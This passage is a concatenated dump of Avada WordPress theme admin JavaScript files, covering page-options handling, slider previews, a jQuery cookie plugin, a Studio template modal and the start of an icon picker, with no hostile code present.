    ' ); jQuery.each( valueObject, function( valueKey, value ) { var $input = $newrow.find( '#pyre_' + valueKey ); if ( '' !== value ) { if ( 'operator' === valueKey && 'or' === value ) { $newrow.addClass( 'has-or' ); } if ( $input.hasClass( 'upload_field' ) ) { const objectId = $input.attr( 'name' ).replace( valueKey + '[', '' ).replace( ']', '' ); value = 'undefined' !== typeof value[ objectId ] ? value[ objectId ] : value; } // Save values for ajax-select call if ( $input.data( 'ajax' ) ) { $input.siblings( '.initial-values' ).val( _.escape( JSON.stringify( value ) ) ); } if ( $input.hasClass( 'button-set-value' ) ) { $input.siblings( '.ui-state-active' ).removeClass( 'ui-state-active' ); $input.siblings( '[data-value="' + value + '"]' ).addClass( 'ui-state-active' ); } $input.val( value ); } } ); self.setInputLabel( $newrow.find( '#pyre_' + titleBind ) ); $rows.append( $newrow ); } ); self.initOptions( $wrapper ); } }, base64Decode: function( string ) { return new TextDecoder().decode( Uint8Array.from( atob( string ), c => c.charCodeAt( 0 ) ) ); }, base64Encode: function( string ) { const bytes = new TextEncoder().encode( string ); let binary = ''; bytes.forEach( b => binary += String.fromCharCode( b ) ); return btoa( binary ); }, setRepeaterValue: function( $wrapper ) { var $value = $wrapper.hasClass( 'fusion-logics-wrapper' ) ? $wrapper.find( '.logics-value' ) : $wrapper.find( '.repeater-value' ), value = []; $wrapper.find( '> .pyre_field > .fusion-repeater-rows > .fusion-repeater-row' ).each( function() { var values = {}; jQuery( this ).find( '[id^="pyre"]' ).each( function() { const id = jQuery( this ).attr( 'id' ).replace( 'pyre_', '' ), val = jQuery( this ).val(); if ( null !== val && '' !== val ) { values[ id ] = val; } } ); value.push( values ); } ); value = JSON.stringify( value ); if ( $value.hasClass( 'logics-value' ) ) { value = this.base64Encode( value ); } $value.val( value ); }, initOptions: function( $wrapper ) { var mainSelf = this; $wrapper.find( '.fusion-repeater-rows .fusion-needs-init' ).each( function() { jQuery( this ).removeClass( 'fusion-needs-init' ); if ( 'undefined' !== typeof jQuery( this ).parent().data( 'or-label' ) ) { jQuery( this ).attr( 'data-or-label', jQuery( this ).parent().data( 'or-label' ) ); } let $firstLevelRowFields = jQuery( this ).find( '> .fusion-row-fields' ); mainSelf.initDependencies( $firstLevelRowFields ); mainSelf.initSelect( $firstLevelRowFields ); mainSelf.initRadios( $firstLevelRowFields ); mainSelf.initCheckBoxes( $firstLevelRowFields ); mainSelf.initLogic( $firstLevelRowFields.find( '.fusion-logics-wrapper' ) ); } ); }, initDependencies: function( $wrapper ) { $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) > .avada-dependency' ).each( function() { avadaLoopDependencies( jQuery( this ) ); } ); $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) [id*="pyre"]' ).off( 'change.dependency' ).on( 'change.dependency', function() { var $id = jQuery( this ).attr( 'id' ), $field = $id.replace( 'pyre_', '' ); $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) span[data-field="' + $field + '"]' ).each( function() { avadaLoopDependencies( jQuery( this ).closest( '.avada-dependency' ) ); } ); } ); }, initRadios: function( $wrapper ) { $wrapper.find( '> .pyre_metabox_field > .pyre_field.avada-buttonset.radio a' ).on( 'click', function( e ) { var $radiosetcontainer; e.preventDefault(); $radiosetcontainer = jQuery( this ).parents( '.fusion-form-radio-button-set' ); $radiosetcontainer.find( '.ui-state-active' ).removeClass( 'ui-state-active' ); jQuery( this ).addClass( 'ui-state-active' ); $radiosetcontainer.find( '.button-set-value' ).val( $radiosetcontainer.find( '.ui-state-active' ).data( 'value' ) ).trigger( 'change' ); } ); }, initCheckBoxes: function( $wrapper ) { $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) > .pyre_field.avada-buttonset.checkbox a' ).on( 'click', function( e ) { var $checkboxsetcontainer; e.preventDefault(); $checkboxsetcontainer = jQuery( this ).closest( '.fusion-form-checkbox-button-set' ); jQuery( this ).toggleClass( 'ui-state-active' ); $checkboxsetcontainer.find( '.button-set-value' ).val( $checkboxsetcontainer.find( '.ui-state-active' ).map( function( _, el ) { return jQuery( el ).data( 'value' ); } ).get() ).trigger( 'change' ); } ); }, initSelect: function( $wrapper ) { fusionSelect2 = $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) > .pyre_field select:not(.hidden-sidebar):not([data-ajax])' ).select2( { minimumResultsForSearch: 10, width: '100%' } ); if ( 'undefined' !== typeof ajaxurl ) { $wrapper.find( '> .pyre_metabox_field:not(.fusion-repeater-wrapper) > .pyre_field select[data-ajax]' ).each( function() { var $select, ajax, ajaxParams, labels, initAjaxSelect; $select = jQuery( this ); ajax = $select.data( 'ajax' ); ajaxParams = $select.siblings( '.params' ).val(); labels = $select.siblings( '.initial-values' ).val(); ajaxParams = JSON.parse( ajaxParams ); labels = JSON.parse( _.unescape( labels ) ); initAjaxSelect = function() { var ajaxSelect = $select.select2( { width: '100%', delay: 250, minimumInputLength: 3, ajax: { url: ajaxurl, dataType: 'json', data: function ( params ) { return { action: ajax, search: params.term, params: ajaxParams, fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val() }; } } } ); if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown ) { if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown.$dropdown ) { ajaxSelect.data( 'select2' ).dropdown.$dropdown.addClass( 'avada-select2' ); } else if ( 'undefined' !== typeof ajaxSelect.data( 'select2' ).dropdown.selector ) { jQuery( ajaxSelect.data( 'select2' ).dropdown.selector ).addClass( 'avada-select2' ); } } ajaxSelect.data( 'select2' ).on( 'results:message', function() { this.dropdown._resizeDropdown(); this.dropdown._positionDropdown(); } ); fusionSelect2.add( ajaxSelect ); }; // If there are initial values get labels else init ajax-select. if ( labels ) { jQuery.post( ajaxurl, { action: ajax, labels: labels, params: ajaxParams, fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val() }, function( data ) { data = JSON.parse( data ); labels = data.labels || []; _.each( labels, function( label ) { $select.append( '' ); } ); initAjaxSelect(); } ); } else { initAjaxSelect(); } } ); } jQuery.each( fusionSelect2, function() { if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown ) { if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown.$dropdown ) { jQuery( this ).data( 'select2' ).dropdown.$dropdown.addClass( 'avada-select2' ); } else if ( 'undefined' !== typeof jQuery( this ).data( 'select2' ).dropdown.selector ) { jQuery( jQuery( this ).data( 'select2' ).dropdown.selector ).addClass( 'avada-select2' ); } } } ); }, exportOptions: function() { var tempBeforeUnload = jQuery._data( window, 'events' ).beforeunload; jQuery._data( window, 'events' ).beforeunload = null; setTimeout( function() { jQuery._data( window, 'events' ).beforeunload = tempBeforeUnload; }, 350 ); }, saveOptions: function( e ) { var data = { action: 'fusion_page_options_save', fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val(), post_id: jQuery( this ).data( 'post_id' ), post_type: jQuery( this ).data( 'post_type' ), options_title: jQuery( '#fusion-new-page-options-name' ).val() }, poDialog = jQuery( '#avada-po-dialog' ); e.preventDefault(); if ( '' === jQuery( '#fusion-new-page-options-name' ).val().trim() ) { poDialog.html( avadaPOMessages.saveTitleWarning ); jQuery( '#' + poDialog.attr( 'id' ) ).dialog( { dialogClass: 'avada-po-dialog', resizable: false, draggable: false, height: 'auto', width: 400, modal: true, buttons: { OK: function() { poDialog.html( '' ); jQuery( this ).dialog( 'close' ); } } } ); return; } jQuery( '#fusion-page-options-loader' ).show(); jQuery.get( { url: ajaxurl, data: data, dataType: 'json' } ).done( function( response ) { var html; html = ''; jQuery( '#fusion-saved-page-options-select' ).append( html ); jQuery( '#fusion-new-page-options-name' ).val( '' ); jQuery( '#fusion-page-options-loader' ).hide(); } ); }, importSavedOptions: function( e ) { var data = { action: 'fusion_page_options_import_saved', fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val(), post_id: jQuery( '#fusion-saved-page-options-select' ).data( 'post_id' ), saved_po_dataset_id: jQuery( '#fusion-saved-page-options-select' ).val() }; e.preventDefault(); jQuery( '#fusion-page-options-loader' ).show(); jQuery.get( { url: ajaxurl, data: data, dataType: 'json' } ).done( function( response ) { awbUpdatePOPanel( response.custom_fields ); jQuery( '#fusion-page-options-loader' ).hide(); } ); }, deleteSaved: function( e ) { var savedPageOptionsDatasetID = jQuery( '#fusion-saved-page-options-select' ).val(), data = { action: 'fusion_page_options_delete', fusion_po_nonce: jQuery( '#fusion-page-options-nonce' ).val(), saved_po_dataset_id: savedPageOptionsDatasetID }; e.preventDefault(); jQuery( '#fusion-page-options-loader' ).show(); jQuery.get( { url: ajaxurl, data: data } ).done( function() { jQuery( '#fusion-saved-page-options-select option[value="' + savedPageOptionsDatasetID + '"]' ).remove(); jQuery( '#fusion-page-options-loader' ).hide(); jQuery( '#fusion-page-options-buttons-wrap' ).fadeOut(); } ); }, prepareUpload: function( e ) { var file = e.target.files, data = new FormData(), poDialog = jQuery( '#avada-po-dialog' ); jQuery( '#fusion-page-options-loader' ).show(); data.append( 'action', 'fusion_page_options_import' ); data.append( 'fusion_po_nonce', jQuery( '#fusion-page-options-nonce' ).val() ); data.append( 'post_id', jQuery( '#fusion-page-options-import' ).data( 'post_id' ) ); jQuery.each( file, function( key, value ) { if ( 'json' !== value.name.substr( value.name.lastIndexOf( '.' ) + 1 ) ) { poDialog.html( avadaPOMessages.importJSONWarning ); jQuery( '#' + poDialog.attr( 'id' ) ).dialog( { dialogClass: 'avada-po-dialog', resizable: false, draggable: false, height: 'auto', width: 400, modal: true, buttons: { OK: function() { poDialog.html( '' ); jQuery( this ).dialog( 'close' ); } } } ); return false; } data.append( 'po_file_upload', value ); } ); jQuery.ajax( { url: ajaxurl, type: 'POST', data: data, cache: false, dataType: 'json', processData: false, // Don't process the files contentType: false // Set content type to false as jQuery will tell the server its a query string request } ).done( function( response ) { awbUpdatePOPanel( response.custom_fields ); jQuery( '#fusion-page-options-loader' ).hide(); } ); }, showHideButtons: function() { if ( '' !== jQuery( this ).val() ) { jQuery( '#fusion-page-options-buttons-wrap' ).fadeIn(); } else { jQuery( '#fusion-page-options-buttons-wrap' ).fadeOut(); } }, importOptions: function( e ) { e.preventDefault(); jQuery( '#fusion-page-options-file-input' ).trigger( 'click' ); } }; fusionPageOptions.init(); jQuery( '.pyre_metabox_tab:not(#pyre_tab_avada_page_options)' ).on( 'change fusion-changed', 'input, textarea, select, radio, input[type=checkbox], input[type=hidden]', function() { jQuery( '.avada-po-warning' ).slideDown(); jQuery( '#pyre_tab_avada_page_options' ).addClass( 'fusion-options-changed' ); } ); jQuery( '.pyre_metabox_tab:not(#pyre_tab_avada_page_options)' ).on( 'change fusion-changed', 'input.upload_field', function() { if ( '' === jQuery( this ).val() ) { jQuery( this ).next().val( '' ); } } ); // content layout icons. const contentLayoutVal = jQuery( '#pyre_content_layout' ).val(); jQuery( '#pyre_align_content' ).parent().attr( 'data-direction', contentLayoutVal ); jQuery( document ).on( 'change', '#pyre_content_layout', function( e ) { // eslint-disable-line no-unused-vars const alignmentField = jQuery( '#pyre_align_content' ).parent(); alignmentField.attr( 'data-direction', this.value ); } ); } ); function awbUpdatePOPanel( customFields ) { jQuery.each( customFields, function( id, value ) { var $el; if ( ! id.includes( 'pyre_' ) ) { id = 'pyre_' + id; } $el = jQuery( '#' + id ); if ( $el.hasClass( 'button-set-value' ) ) { $el.siblings( '[data-value="' + value + '"]' ).trigger( 'click' ); // Continue. return true; } if ( $el.hasClass( 'logics-value' ) ) { $el.val( value ); fusionPageOptions.initLogic( $el.closest( '.fusion-logics-wrapper' ) ); // Continue. return true; } if ( $el.hasClass( 'repeater-value' ) ) { $el.val( value ); fusionPageOptions.initRepeater( $el.closest( '.fusion-repeater-wrapper:not(.fusion-toggle-wrapper)' ) ); // Continue. return true; } if ( $el.hasClass( 'upload_field' ) ) { $el.val( value.url ); // Continue. return true; } $el.val( value ); // Range field. if ( $el.is( ':hidden' ) && $el.parent( '.pyre_field' ).hasClass( 'avada-range' ) ) { $el.siblings( '.fusion-slider-input' ).attr( 'value', value ).trigger( 'keyup' ); } else { $el.trigger( 'change' ); } } ); } Avada/assets/admin/js/fusion-builder-slider-preview.js000064400000003137152342437710017026 0ustar00/* global ajaxurl */ jQuery( document ).ready( function() { jQuery( '#fusion_builder_layout' ).on( 'click', '#avada-slider-remove', function( e ) { e.preventDefault(); jQuery( '#pyre_demo_slider' ).val( '' ); jQuery( '#pyre_slider_type' ).val( 'no' ).trigger( 'change' ); jQuery( '.fusion-builder-slider-helper' ).slideUp( 300 ); } ); jQuery( '#pyre_slider_type, #pyre_slider, #pyre_wooslider, #pyre_revslider, #pyre_elasticslider, #pyre_demo_slider' ).on( 'change', function() { var $sliderType = jQuery( '#pyre_slider_type' ).val(), $layerSlider = jQuery( '#pyre_slider' ).val(), $revSlider = jQuery( '#pyre_revslider' ).val(), $wooSlider = jQuery( '#pyre_wooslider' ).val(), $elasticSlider = jQuery( '#pyre_elasticslider' ).val(), $demoSlider = jQuery( '#pyre_demo_slider' ).val(); jQuery.ajax( { type: 'post', dataType: 'json', url: ajaxurl, data: { action: 'avada_slider_preview', data: { slidertype: $sliderType, layerslider: $layerSlider, revslider: $revSlider, wooslider: $wooSlider, elasticslider: $elasticSlider, demoslider: $demoSlider } } } ) .fail( function( response ) { if ( ! jQuery( '.fusion-builder-slider-helper' ).length ) { jQuery( '#fusion_builder_container' ).prepend( response.responseText.slice( 0, -1 ) ); } else { jQuery( '.fusion-builder-slider-helper' ).replaceWith( response.responseText.slice( 0, -1 ) ); } } ) .done( function() { if ( jQuery( '.fusion-builder-slider-helper' ).length ) { jQuery( '.fusion-builder-slider-helper' ).remove(); } } ); } ); } ); Avada/assets/admin/js/jquery.biscuit.js000064400000006067152342437710014125 0ustar00/*! * jQuery Cookie Plugin v1.4.1 * https://github.com/carhartl/jquery-cookie * * Copyright 2006, 2014 Klaus Hartl * Released under the MIT license */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD define(['jquery'], factory); } else if (typeof exports === 'object') { // CommonJS factory(require('jquery')); } else { // Browser globals factory(jQuery); } }(function ($) { var pluses = /\+/g; function encode(s) { return config.raw ? s : encodeURIComponent(s); } function decode(s) { return config.raw ? s : decodeURIComponent(s); } function stringifyCookieValue(value) { return encode(config.json ? JSON.stringify(value) : String(value)); } function parseCookieValue(s) { if (s.indexOf('"') === 0) { // This is a quoted cookie as according to RFC2068, unescape... s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\'); } try { // Replace server-side written pluses with spaces. // If we can't decode the cookie, ignore it, it's unusable. // If we can't parse the cookie, ignore it, it's unusable. s = decodeURIComponent(s.replace(pluses, ' ')); return config.json ? JSON.parse(s) : s; } catch(e) {} } function read(s, converter) { var value = config.raw ? s : parseCookieValue(s); return $.isFunction(converter) ? converter(value) : value; } var config = $.cookie = function (key, value, options) { // Write if (arguments.length > 1 && !$.isFunction(value)) { options = $.extend({}, config.defaults, options); if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setTime(+t + days * 864e+5); } return (document.cookie = [ encode(key), '=', stringifyCookieValue(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // Read var result = key ? undefined : {}; // To prevent the for loop in the first place assign an empty array // in case there are no cookies at all. Also prevents odd result when // calling $.cookie(). var cookies = document.cookie ? document.cookie.split('; ') : []; for (var i = 0, l = cookies.length; i < l; i++) { var parts = cookies[i].split('='); var name = decode(parts.shift()); var cookie = parts.join('='); if (key && key === name) { // If second argument (value) is a function it's a converter... result = read(cookie, value); break; } // Prevent storing a cookie that we couldn't decode. if (!key && (cookie = read(cookie)) !== undefined) { result[name] = cookie; } } return result; }; config.defaults = {}; $.removeCookie = function (key, options) { if ($.cookie(key) === undefined) { return false; } // Must not alter options, thus extending a fresh object... $.cookie(key, '', $.extend({}, options, { expires: -1 })); return !$.cookie(key); }; }));Avada/assets/admin/js/avada-beta-testing.js000064400000002267152342437710014603 0ustar00var $avadaVersion; window.$versionSuffix = ' beta'; if ( window.jQuery ) { jQuery( document ).ready( function() { // Main Dashboard Version Area. jQuery( '.avada-dashboard .avada-db-version span' ).text( jQuery( '.avada-dashboard .avada-db-version span' ).text() + window.$versionSuffix ); // Avada Plugins page jQuery( '.avada-install-plugins' ).find( '.fusion-admin-box:nth-child(1), .fusion-admin-box:nth-child(2)' ).each( function() { var $versionContainer = jQuery( this ).find( '.plugin-info' ), $html = $versionContainer.html().replace( '|', window.$versionSuffix + ' |' ); $versionContainer.html( $html ); } ); // WP Plugins page jQuery( 'table.plugins #the-list' ).find( '[data-slug="avada-core"], [data-slug="avada-builder"]' ).each( function() { var $versionContainer = jQuery( this ).find( '.plugin-version-author-uri' ), $html = $versionContainer.html().replace( '| By', window.$versionSuffix + ' | By' ); $versionContainer.html( $html ); } ); } ); } else { // Splash Screens $avadaVersion = document.getElementsByClassName( 'avada-version-inner' ); $avadaVersion[ '0' ].textContent = $avadaVersion[ '0' ].textContent + window.$versionSuffix; } Avada/assets/admin/js/awb-studio-modal.js000064400000037613152342437710014316 0ustar00/* global Fuse */ window.awbStudioModal = { data: {}, $option: false, timeouts: [], modalOpenOptions: {}, context: { type: 'fusion_template', tag: 'all' }, /** * Run actions on load. * * @since 7.5 * * @return {void} */ init: function( $el, data ) { this.data = data; this.$el = $el; return this; }, /** * Modal events. * * @since 7.5 * @return {void} */ initModalEvents: function() { var self = this; this.$el.find( '.fusion-studio-preview-back, .post-modal-bg' ).off( 'click' ); this.$el.find( '.fusion-studio-preview-back, .post-modal-bg' ).on( 'click', function( event ) { if ( jQuery( event.currentTarget ).hasClass( 'fusion-studio-preview-back' ) ) { if ( 'selection' === self.$el.find( '.awb-studio-modal' ).attr( 'data-context' ) ) { self.closeModal(); } else { self.$el.find( '.awb-studio-modal' ).attr( 'data-context', 'selection' ); } } else { self.closeModal(); } } ); jQuery( 'body' ).on( 'keydown', function( event ) { if ( ( 27 === event.keyCode || '27' === event.keyCode ) && jQuery( 'body' ).hasClass( 'fusion-studio-preview-active' ) ) { self.closeModal( self.$el ); } return true; } ); }, /** * Closes Modal. * * @since 7.5 * @return {void} */ closeModal: function() { jQuery( 'body' ).removeClass( 'fusion-studio-preview-active' ); this.$el.find( '.awb-studio-modal' ).removeClass( 'active' ); jQuery( '#search-input' ).off(); }, /** * Opens Modal. * * @since 7.5 * @return {void} */ openModal: function( elementType, $option, modalOpenOptions = {} ) { this.context = { type: elementType, tag: 'all' }; this.$option = $option; this.modalOpenOptions = modalOpenOptions; this.tagsUpdate(); this.previewsUpdate(); this.setOptions(); jQuery( 'body' ).addClass( 'fusion-studio-preview-active' ); this.$el.find( '.awb-studio-modal' ).attr( 'data-context', 'selection' ).addClass( 'active' ); // Modal close. this.initModalEvents(); this.initIframeListener(); this.initSearch(); }, /** * Init Search panel. * * @since 7.5 * @return {void} */ initSearch: function() { var self = this, previewEl = jQuery( '.previews' ), options, fuse, result, value; jQuery( '#search-input' ).on( 'change paste keyup search', _.debounce( function() { var thisEl = jQuery( this ), data, hasValue = false; // Hide all. jQuery( 'article', previewEl ).css( { display: 'none' } ).addClass( 'hidden' ); if ( thisEl.val() ) { value = thisEl.val().toLowerCase(); options = { threshold: 0.2, location: 0, distance: 100, maxPatternLength: 32, minMatchCharLength: 3, keys: [ 'post_title' ] }; data = _.map( self.data[ self.context.type ], function( post ) { return post; } ); fuse = new Fuse( data, options ); result = fuse.search( value ); hasValue = true; } else { result = self.data[ self.context.type ]; } // Show items. _.each( result, function( post ) { // Post is not within active tag then no need to show it. if ( ! hasValue && 'all' !== self.context.tag && -1 === jQuery.inArray( self.context.tag, post.tags ) ) { return; } previewEl.find( 'article[data-id="' + post.ID + '"]' ).css( { display: 'inline-block' } ).removeClass( 'hidden' ); } ); }, 100 ) ); }, /** * Iframe events. * * @since 7.5 * @return {void} */ initIframeListener: function() { this.$el.find( '.awb-studio-preview-frame' ).on( 'load', function() { // Trigger event for preview update. window.dispatchEvent( new Event( 'awb-studio-update-preview' ) ); jQuery( '#fusion-loader' ).hide(); } ); }, /** * Update the tag list for the current context. * * @since 3.1 * @return {void} */ tagsUpdate: function() { var $nav = this.$el.find( '#filter-bar nav' ); // Clear out old tags. $nav.empty(); // Add all link with new count. $nav.prepend( '
    All Categories ' + Object.keys( this.data[ this.context.type ] ).length + '' ); // Each tag of type add in. jQuery.each( this.data.studio_tags[ this.context.type ], function( index, tag ) { $nav.append( '' + tag.name + '' + tag.count + '' ); } ); // Add click listener. this.initTagFilter(); }, /** * Click listener for tag links. * * @since 3.1 * @return {void} */ initTagFilter: function() { var self = this; this.$el.find( '#filter-bar nav a' ).on( 'click', function( event ) { event.preventDefault(); if ( self.context.tag === jQuery( this ).data( 'tag' ) ) { return; } // Active styling. jQuery( '#filter-bar nav .active' ).removeClass( 'active' ); jQuery( this ).addClass( 'active' ); // Update context tag. self.context.tag = jQuery( this ).data( 'tag' ); // Update preview for new tag. self.previewsUpdate(); } ); }, /** * Display studio content directly. * * @since 7.5 * @return {void} */ renderContents: function( elementType, tag, container ) { var self = this, counter = 1, postType = 'fusion_tb_section'; this.context = { type: elementType, tag: tag }; // Clear all timeouts to prevent animations still running. jQuery.each( this.timeouts, function( index, value ) { clearTimeout( value ); } ); // Hide all. jQuery( '.awb-wizard-content .awb-db-preview-grid .awb-db-preview' ).css( { display: 'none' } ).addClass( 'hidden' ); // Post type for rest endpoint. if ( 'elements' === self.context.type || 'sections' === self.context.type || 'columns' === self.context.type || 'post_cards' === self.context.type ) { postType = 'fusion_element'; } else if ( 'fusion_template' === self.context.type ) { postType = 'fusion_template'; } else if ( 'icons' === self.context.type ) { postType = 'fusion_icons'; } // Get data of posts we need. jQuery.each( self.data[ self.context.type ], function( key, post ) { // Post is not within active tag then no need to show it. if ( 'all' !== self.context.tag && -1 === jQuery.inArray( self.context.tag, post.tags ) ) { return; } // We already have preview loaded, show it. TODO, avoid searching DOM. if ( jQuery( '.awb-wizard-content .awb-db-preview[data-id="' + post.ID + '"]' ).length ) { jQuery( '.awb-wizard-content .awb-db-preview[data-id="' + post.ID + '"]' ).css( { display: 'inline-block' } ); } else { // We need to create markup for preview. jQuery( '.awb-wizard-content .awb-db-preview-grid' ).append( '' ); } self.timeouts.push( setTimeout( function() { jQuery( '.awb-wizard-content .awb-db-preview[data-id="' + post.ID + '"]' ).removeClass( 'hidden' ); }, counter * 50 ) ); counter++; } ); // Reinit click listeners. this.initPreviewListener(); // Lazy load of any new images. this.initLazyLoad( container ); }, /** * Update the preview area. * * @since 3.1 * @return {void} */ previewsUpdate: function() { var self = this, counter = 1, postType = 'fusion_tb_section', order = [], markup = '', mainTimeout = 0, postMatches = []; // Clear all timeouts to prevent animations still running. jQuery.each( this.timeouts, function( index, value ) { clearTimeout( value ); } ); // Hide all. jQuery( '.previews article' ).css( { display: 'none' } ).addClass( 'hidden' ); // Post type for rest endpoint. if ( 'elements' === self.context.type || 'sections' === self.context.type || 'columns' === self.context.type || 'post_cards' === self.context.type ) { postType = 'fusion_element'; } else if ( 'fusion_template' === self.context.type ) { postType = 'fusion_template'; } else if ( 'icons' === self.context.type ) { postType = 'fusion_icons'; } // Get data of posts we need. jQuery.each( self.data[ self.context.type ], function( key, post ) { // Post is not within active tag then no need to show it. if ( 'all' !== self.context.tag && -1 === jQuery.inArray( self.context.tag, post.tags ) ) { return; } // We already have preview loaded, show it. TODO, avoid searching DOM. if ( jQuery( 'article[data-id="' + post.ID + '"]' ).length ) { jQuery( 'article[data-id="' + post.ID + '"]' ).css( { display: 'inline-block' } ); } else { // We need to create markup for preview. markup += ''; } postMatches.push( post ); } ); // Add all needing added. if ( '' !== markup ) { mainTimeout = 50; jQuery( '.previews' ).append( markup ); } // Give delay for paint. setTimeout( function() { var i; // Loop afer all have been added to get position. jQuery.each( postMatches, function( key, post ) { var position = jQuery( 'article[data-id="' + post.ID + '"]' ).position(); position.id = post.ID; order.push( position ); } ); // Sort top to bottom. order.sort( self.SortByTop ); // Reveal top to bottom. for ( i = 0; i < order.length; i++ ) { self.timeouts.push( self.doSetTimeout( i, order, counter ) ); counter++; } // Reinit click listeners. self.initPreviewListener(); // Lazy load of any new images. self.initLazyLoad(); }, mainTimeout ); }, /** * Delay between showing items. * * @since 7.7 * * @return {void} */ doSetTimeout: function( i, order, counter ) { setTimeout( function() { jQuery( 'article[data-id="' + order[ i ].id + '"]' ).removeClass( 'hidden' ); }, counter * 50 ); }, /** * Sort elements by vertical position. * * @since 7.7 * */ SortByTop: function( a, b ) { return ( ( a.top < b.top ) ? -1 : ( ( a.top > b.top ) ? 1 : 0 ) ); // eslint-disable-line no-nested-ternary }, /** * Lazy load images. * * @since 3.1 * @return {void} */ initLazyLoad: function( container ) { var imageObserver, container = container || '#main-content', // eslint-disable-line no-redeclare $container = this.$el.find( container ), demoImages = $container.find( '.lazy-load' ), options = { root: $container[ 0 ], rootMargin: '0px', threshold: 0 }; // TODO, make this more efficient when re-init. if ( 'IntersectionObserver' in window ) { imageObserver = new IntersectionObserver( function( entries ) { jQuery.each( entries, function( key, entry ) { var demo = jQuery( entry.target ), image = demo.find( 'img' ); if ( entry.isIntersecting && 'string' === typeof image.data( 'src' ) && '' !== image.data( 'src' ) ) { image.attr( 'src', image.data( 'src' ) ); // Wait 500ms as estimation for the image to load. setTimeout( function() { demo.removeClass( 'lazy-load' ).addClass( 'lazy-loaded' ); image.attr( 'alt', image.data( 'alt' ) ); }, 500 ); imageObserver.unobserve( entry.target ); } } ); }, options ); demoImages.each( function() { imageObserver.observe( this ); } ); } }, /** * Click listener for opening previews. * * @since 3.1 * @return {void} */ initPreviewListener: function() { var self = this; // Remove any existing. self.$el.find( '.awb-studio-content article img, .awb-save, .awb-import-studio-item-in-preview' ).off( 'click' ); // Studio content import. self.$el.find( '.awb-save, .awb-import-studio-item-in-preview' ).on( 'click', function( event ) { var $button = jQuery( this ), options = { 'overWriteType': jQuery( '.awb-import-options input[name="overwrite-type"]:checked' ).val(), 'shouldInvert': jQuery( '.awb-import-options input[name="invert"]:checked' ).val(), 'images': jQuery( '.awb-import-options input[name="images"]:checked' ).val() }, $article; event.preventDefault(); // Get article. if ( 'selection' === self.$el.find( '.awb-studio-modal' ).attr( 'data-context' ) ) { $article = $button.closest( 'article' ); } else { $article = jQuery( 'article[data-id="' + self.$el.find( '.post-preview iframe' ).attr( 'data-id' ) + '"]' ); } // get ID. const ID = $article.data( 'id' ); const iframeUrl = $article.data( 'url' ); self.$option.find( 'input[name="' + self.context.type + '"]' ).val( ID ).trigger( 'change', [ iframeUrl ] ); self.$option.find( '.preview' ).html( '' + $article.find( '.fusion_module_title' ).html() + '' + $article.find( '.preview' ).html() ); if ( $button.is( '.awb-import-studio-item-in-preview' ) ) { const parent = self.$option.find( 'input[name="' + self.context.type + '"]' ).closest( '.awb-wizard-option-group' ); const inlineOptionsWrap = parent.find( '.awb-setup-import-options' ); // update inline options. Object.keys( options ).forEach( ( o ) => { inlineOptionsWrap.find( 'input[value=' + options[ o ] + ']' ).prop( 'checked', true ).trigger( 'change' ); } ); } self.closeModal( self.$el ); } ); // Add for each. self.$el.find( '.awb-studio-content article img' ).on( 'click', function( event ) { self.$el.find( '.awb-studio-modal' ).attr( 'data-context', 'preview' ); event.preventDefault(); jQuery( '#fusion-loader' ).show(); self.loadIframePreview( jQuery( this ).closest( 'article' ).attr( 'data-url' ), jQuery( this ).closest( 'article' ).attr( 'data-id' ) ); } ); }, loadIframePreview: function( url, dataID ) { this.$el.find( '.post-preview iframe' ).attr( 'src', url ); this.$el.find( '.post-preview iframe' ).attr( 'data-id', dataID ); }, /** * Sets options. * * @since 7.7 * @return {void} */ setOptions: function() { var $wrapper = jQuery( '.awb-studio-modal' ), fallbackOptions = { // Object of option name and default value. 'overwrite-type': 'replace-pos', 'invert': 'dont-invert', 'images': 'do-import-images' }, options = Object.assign( {}, fallbackOptions, this.modalOpenOptions ); //eslint-disable-line prefer-object-spread jQuery.each( options, function( name, value ) { if ( ! $wrapper.find( 'input[name="' + name + '"]' ).is( ':checked' ) ) { jQuery( '#' + value ).prop( 'checked', true ); } } ); } }; Avada/assets/admin/js/icon-picker.js000064400000020274152342437710013344 0ustar00/* global Fuse, FusionApp, fusionIconSearch, fusionBuilderText */ ( function() { var FusionDelay = ( function() { var timer = 0; return function( callback, ms ) { clearTimeout( timer ); timer = setTimeout( callback, ms ); }; }() ); function optionIconpicker() { var $iconPicker; $iconPicker = jQuery( '.pyre_field.fusion-iconpicker' ); if ( $iconPicker.length ) { $iconPicker.each( function() { var $input = jQuery( this ).find( '.fusion-iconpicker-input' ), value = $input.val(), splitVal, $container = jQuery( this ).find( '.icon_select_container' ), $containerParent = $container.parent(), $search = jQuery( this ).find( '.fusion-icon-search' ), output = jQuery( '.fusion-icons-rendered' ).length ? jQuery( '.fusion-icons-rendered' ).html() : '', outputNav = jQuery( '.fusion-icon-picker-nav-rendered' ).length ? jQuery( '.fusion-icon-picker-nav-rendered' ).html() : '', selectedSetId = '', customIcon = -1 !== value.indexOf( 'fusion-prefix-' ); $container.append( output ).before( '
    ' + outputNav + '
